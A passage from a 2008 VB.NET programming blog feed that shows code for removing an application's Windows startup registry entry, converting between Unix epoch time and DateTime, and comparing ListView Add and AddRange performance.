&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Uninstalls an application not to start from the registry when Windows starts&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;AppName&quot;&amp;gt;Application&#39;s name&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;InstallToLocalMachine&quot;&amp;gt;Uninstall from LM, otherwise uninstall from current user&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;returns&amp;gt;True if successfully uninstalled&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;Compatible with Windows XP and Vista&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; StartUpUnInstall(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; AppName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, _
 &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; InstallToLocalMachine &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39; Uninstall from registry&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39; If LM then uses HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39; Otherwise uses HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; RegRoot &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; RegistryKey
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; RegKey &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; RegistryKey

 &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; InstallToLocalMachine &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
     RegRoot = Microsoft.Win32.Registry.LocalMachine
     RegKey = RegRoot.OpenSubKey(&lt;span class=&quot;str&quot;&gt;&quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot;&lt;/span&gt;, _
       RegistryKeyPermissionCheck.ReadWriteSubTree, _
       Security.AccessControl.RegistryRights.SetValue)
     RegKey.DeleteValue(AppName, &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;)
     &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
     RegRoot = Microsoft.Win32.Registry.CurrentUser
     RegKey = RegRoot.OpenSubKey(&lt;span class=&quot;str&quot;&gt;&quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot;&lt;/span&gt;, _
       RegistryKeyPermissionCheck.ReadWriteSubTree, _
       Security.AccessControl.RegistryRights.SetValue)
     RegKey.DeleteValue(AppName, &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;)
     &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt; ex &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; Exception
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;Again, if everything goes right, the function returns True. Otherwise operation failed. And the most common reason for failure is inadequate permissions to modify the registry.&lt;/p&gt;

&lt;h4&gt;&lt;/h4&gt;

&lt;h4&gt;Compatibility with Windows Vista&lt;/h4&gt;

&lt;p&gt;I have used this code with standard user account in Windows Vista without any problems. I have also tested it with Windows XP, but not with any earlier Windows versions. However, if you do get problems with registry permissions, check out &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/system.security.accesscontrol%28VS.80%29.aspx&quot;&gt;System.Security.AccessControl&lt;/a&gt; namespace. It provides methods to handle permission issues.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/7356184333712932973/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/7356184333712932973' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7356184333712932973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7356184333712932973'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/09/make-vbnet-application-to-start-up-from.html' title='Make VB.NET application to start up from registry'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-7919052763638934965</id><published>2008-09-15T02:56:00.001-07:00</published><updated>2008-09-15T02:57:13.054-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="DateTime"/><category scheme="http://www.blogger.com/atom/ns#" term="Epoch"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><title type='text'>Epoch time in VB.NET</title><content type='html'>&lt;p&gt;Unix and Unix-like systems, like Linuxes, use Unix Epoch time in system time and time handling libraries. Sometimes you may need to handle these Epoch times in VB.NET or simply convert Epoch times to VB.NET&#39;s DateTime type.&lt;/p&gt;  &lt;p&gt;Unix Epoch is the number of seconds from midnight January 1, 1970 and value is commonly stored in signed 32-bit integer value. This, however, causes so called &lt;a href=&quot;http://en.wikipedia.org/wiki/Year_2038_problem&quot;&gt;year 2038 problem&lt;/a&gt; because in January 19, 2038 value reaches 2 147 483 647 and after that &quot;wraps around&quot;. But let&#39;s not worry about that.&lt;/p&gt;  &lt;h4&gt;Convert Unix Epoch time to VB.NET DateTime value&lt;/h4&gt;  &lt;p&gt;Next function returns non-negative Epoch time in VB.NET&#39;s DateTime format.&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Converts Unix&#39;s epoch time to VB DateTime value&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;EpochValue&quot;&amp;gt;Epoch time (seconds)&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;returns&amp;gt;VB Date&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; EpochToDateTime(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; EpochValue &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Date&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; EpochValue &amp;gt;= 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;CDate&lt;/span&gt;(&lt;span class=&quot;str&quot;&gt;&quot;1.1.1970 00:00:00&quot;&lt;/span&gt;).AddSeconds(EpochValue)
 &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;CDate&lt;/span&gt;(&lt;span class=&quot;str&quot;&gt;&quot;1.1.1970 00:00:00&quot;&lt;/span&gt;)
 &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;With negative parameters, the value returned is the same as with Epoch time 0.&lt;/p&gt;

&lt;h4&gt;&lt;/h4&gt;

&lt;h4&gt;Convert VB.NET DateTime value to Unix&#39;s Epoch time&lt;/h4&gt;

&lt;p&gt;The function below converts DateTime type back to Unix&#39;s Epoch time.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Converts VB DateTime value to Unix&#39;s epoch time&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;DateTimeValue&quot;&amp;gt;DateTime to convert&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;returns&amp;gt;Epoch time (seconds)&amp;lt;/returns&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; DateTimeToEpoch(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; DateTimeValue &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Date&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;CInt&lt;/span&gt;(DateTimeValue.Subtract(&lt;span class=&quot;kwrd&quot;&gt;CDate&lt;/span&gt;(&lt;span class=&quot;str&quot;&gt;&quot;1.1.1970 00:00:00&quot;&lt;/span&gt;)).TotalSeconds)
 &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt; ex &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; System.OverflowException
   &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; -1
 &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;Since .NET&#39;s DateTime can store dates far beyond year 2038, function traps OverFlow exception. When you use this function, you have to check that the returned value is positive integer and consequently valid Epoch value.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/7919052763638934965/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/7919052763638934965' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7919052763638934965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7919052763638934965'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/09/epoch-time-in-vbnet.html' title='Epoch time in VB.NET'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-134462730261170298</id><published>2008-09-05T02:05:00.001-07:00</published><updated>2008-09-05T02:05:51.899-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="ListView"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><title type='text'>The fastest way to fill ListView control</title><content type='html'>&lt;p&gt;Filling ListView control with Add method in VB.NET is fast enough when you are dealing with only a few items. Things get different when you have to insert hundreds or maybe a few thousands items to ListView control. In this case the user may experience a noticeable delay in the application.&lt;/p&gt;  &lt;p&gt;The solution is to use AddRange method which is the fastest way to fill ListView control. Below is the comparison of these two methods.&lt;/p&gt;  &lt;h4&gt;&lt;/h4&gt;  &lt;h4&gt;Fill ListView control with Add method&lt;/h4&gt;  &lt;p&gt;The sample code uses ListView control in Details-mode with one column. The loop inserts 10 000 items to control. Timing method is simple and it is not meant to provide neither totally exact nor precise timing.&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Fill listview with Add method&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;ListView1&quot;&amp;gt;ListView object&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; FillListViewWithAdd(&lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; ListView1 &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; ListView)
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; StartTime &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; DateTime
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; Elapsed &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Double&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempStr() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempNode &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; ListViewItem
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; i &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;

 ListView1.View = View.Details
 ListView1.Columns.Clear()
 ListView1.Columns.Add(&lt;span class=&quot;str&quot;&gt;&quot;Name&quot;&lt;/span&gt;, 180)
 ListView1.Items.Clear()

 &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; TempStr(0)
 StartTime = System.DateTime.Now
 &lt;span class=&quot;kwrd&quot;&gt;For&lt;/span&gt; i = 0 &lt;span class=&quot;kwrd&quot;&gt;To&lt;/span&gt; 9999
   TempStr(0) = &lt;span class=&quot;str&quot;&gt;&quot;Name&quot;&lt;/span&gt; &amp;amp; i.ToString
   TempNode = &lt;span class=&quot;kwrd&quot;&gt;New&lt;/span&gt; ListViewItem(TempStr)
   TempNode.Tag = i.ToString
   ListView1.Items.Add(TempNode)
 &lt;span class=&quot;kwrd&quot;&gt;Next&lt;/span&gt; i
 Elapsed = System.DateTime.Now.Subtract(StartTime).TotalMilliseconds
 MessageBox.Show(&lt;span class=&quot;str&quot;&gt;&quot;Elapsed time &quot;&lt;/span&gt; &amp;amp; Elapsed.ToString &amp;amp; &lt;span class=&quot;str&quot;&gt;&quot; ms with ListView.Add&quot;&lt;/span&gt;, _
   &lt;span class=&quot;str&quot;&gt;&quot;Elapsed Time&quot;&lt;/span&gt;, _
   MessageBoxButtons.OK, _
   MessageBoxIcon.Information)

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Sub&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;&lt;br /&gt;&lt;br /&gt;.csharpcode, .csharpcode pre&lt;br /&gt;{&lt;br /&gt; font-size: small;&lt;br /&gt; color: black;&lt;br /&gt; font-family: consolas, &quot;Courier New&quot;, courier, monospace;&lt;br /&gt; background-color: #ffffff;&lt;br /&gt; /*white-space: pre;*/&lt;br /&gt;}&lt;br /&gt;.csharpcode pre { margin: 0em; }&lt;br /&gt;.csharpcode .rem { color: #008000; }&lt;br /&gt;.csharpcode .kwrd { color: #0000ff; }&lt;br /&gt;.csharpcode .str { color: #006080; }&lt;br /&gt;.csharpcode .op { color: #0000c0; }&lt;br /&gt;.csharpcode .preproc { color: #cc6633; }&lt;br /&gt;.csharpcode .asp { background-color: #ffff00; }&lt;br /&gt;.csharpcode .html { color: #800000; }&lt;br /&gt;.csharpcode .attr { color: #ff0000; }&lt;br /&gt;.csharpcode .alt &lt;br /&gt;{&lt;br /&gt; background-color: #f4f4f4;&lt;br /&gt; width: 100%;&lt;br /&gt; margin: 0em;&lt;br /&gt;}&lt;br /&gt;.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;And the result is:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://lh4.ggpht.com/teemuhh/SMD2Oy6AQtI/AAAAAAAAABc/uiCQTVU8KTk/s1600-h/ListViewAdd%5B2%5D.jpg&quot;&gt;&lt;img style=&quot;border-width: 0px;&quot; alt=&quot;Timing of ListView.Add method&quot; src=&quot;http://lh4.ggpht.com/teemuhh/SMD2PR56w9I/AAAAAAAAABk/Gs8wnBh1AMQ/ListViewAdd_thumb.jpg?imgmax=800&quot; border=&quot;0&quot; width=&quot;244&quot; height=&quot;109&quot; /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h4&gt;Fill ListView control with AddRange method&lt;/h4&gt;

&lt;p&gt;The sample code is basically same as above. Only differences are storing first ListViewItems to array and after that using AddRange method to insert items to ListView control.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; Fill listview with AddRange method&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;/summary&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;param name=&quot;ListView1&quot;&amp;gt;ListView object&amp;lt;/param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&#39;&#39; &amp;lt;remarks&amp;gt;&amp;lt;/remarks&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; FillListViewWithAddRange(&lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; ListView1 &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; ListView)
 &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; StartTime &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; DateTime
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; Elapsed &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Double&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempStr() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempNode &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; ListViewItem
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempArr() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; ListViewItem
 &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; i &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;

 ListView1.View = View.Details
 ListView1.Columns.Clear()
 ListView1.Columns.Add(&lt;span class=&quot;str&quot;&gt;&quot;Name&quot;&lt;/span&gt;, 180)
 ListView1.Items.Clear()

 &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; TempStr(0)
 &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; TempArr(9999)
 StartTime = System.DateTime.Now
 &lt;span class=&quot;kwrd&quot;&gt;For&lt;/span&gt; i = 0 &lt;span class=&quot;kwrd&quot;&gt;To&lt;/span&gt; 9999
   TempStr(0) = &lt;span class=&quot;str&quot;&gt;&quot;Name&quot;&lt;/span&gt; &amp;amp; i.ToString
   TempNode = &lt;span class=&quot;kwrd&quot;&gt;New&lt;/span&gt; ListViewItem(TempStr)
   TempNode.Tag = i.ToString
   TempArr(i) = TempNode
 &lt;span class=&quot;kwrd&quot;&gt;Next&lt;/span&gt; i
 ListView1.Items.AddRange(TempArr)
 Elapsed = System.DateTime.Now.Subtract(StartTime).TotalMilliseconds
 MessageBox.Show(&lt;span class=&quot;str&quot;&gt;&quot;Elapsed time &quot;&lt;/span&gt; &amp;amp; Elapsed.ToString &amp;amp; &lt;span class=&quot;str&quot;&gt;&quot; ms with ListView.AddRange&quot;&lt;/span&gt;, _
   &lt;span class=&quot;str&quot;&gt;&quot;Elapsed Time&quot;&lt;/span&gt;, _
   MessageBoxButtons.OK, _
   MessageBoxIcon.Information)

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Sub&lt;/pre&gt;
